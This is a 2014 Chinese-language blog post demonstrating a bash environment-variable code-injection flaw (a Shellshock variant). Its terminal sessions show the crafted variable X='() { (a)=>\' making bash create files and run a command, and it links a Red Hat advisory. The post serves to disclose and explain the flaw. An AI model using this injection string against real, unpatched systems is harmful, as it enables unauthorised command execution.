一个linux下的bash安全漏洞

7060阅读 0评论2014-09-26 centrify
分类:LINUX

1.  通过设置一个特殊的环境变量的env,能间接地查到到linux命令的属性,如下:


  1. [2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date
  2. ls: cannot access date: No such file or directory

  3. [2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>\' bash -c 'date'
  4. bash: X: line 1: syntax error near unexpected token `='
  5. bash: X: line 1: `'
  6. bash: error importing function definition for `X'

  7. [2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date
  8. -rw-rw-r--. 1 david david 0 Sep 27 13:01 date
  9. [2014-09-27 13:01:27 david@davidcchen ~]$


2. 一次运行环境变量。

  1. [2014-09-27 13:01:27 david@davidcchen ~]$ zsh --version
  2. zsh 4.3.10 (x86_64-redhat-linux-gnu)

  3. [2014-09-27 13:03:24 david@davidcchen ~]$ bash --version
  4. GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)
  5. Copyright (C) 2009 Free Software Foundation, Inc.
  6. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

  7. This is free software; you are free to change and redistribute it.
  8. There is NO WARRANTY, to the extent permitted by law.

  9. [2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>\' bash -c "echo date"; cat echo; rm echo
  10. bash: X: line 1: syntax error near unexpected token `='
  11. bash: X: line 1: `'
  12. bash: error importing function definition for `X'
  13. Sat Sep 27 13:03:52 CST 2014

  14. ---------->成功运行date命令
  15. [2014-09-27 13:03:52 david@davidcchen ~]$

外部参考

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack

上一篇:英文缩写
下一篇:C++各大有名库的介绍